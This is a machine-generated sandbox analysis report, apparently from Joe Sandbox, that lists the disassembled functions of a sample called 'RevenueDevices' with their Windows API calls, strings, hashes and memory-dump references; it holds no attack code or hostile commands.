Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

M, xrefs: 00404B43
, xrefs: 00404F39
N, xrefs: 00404C06
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

\*.*, xrefs: 00406D03
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Process32NextW, xrefs: 004065C8
Module32NextW, xrefs: 004065DE
EnumProcesses, xrefs: 00406482
EnumProcessModules, xrefs: 0040648A
PSAPI.DLL, xrefs: 00406464
Unknown, xrefs: 004064FC
Module32FirstW, xrefs: 004065D3
Kernel32.DLL, xrefs: 0040659B
GetModuleBaseNameW, xrefs: 00406494
CreateToolhelp32Snapshot, xrefs: 004065B5
Process32FirstW, xrefs: 004065BD

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

open, xrefs: 004042DF
N, xrefs: 0040426C
@%F, xrefs: 004042A7

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
82D, xrefs: 004046DB
A, xrefs: 00404636
@%F, xrefs: 00404674

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
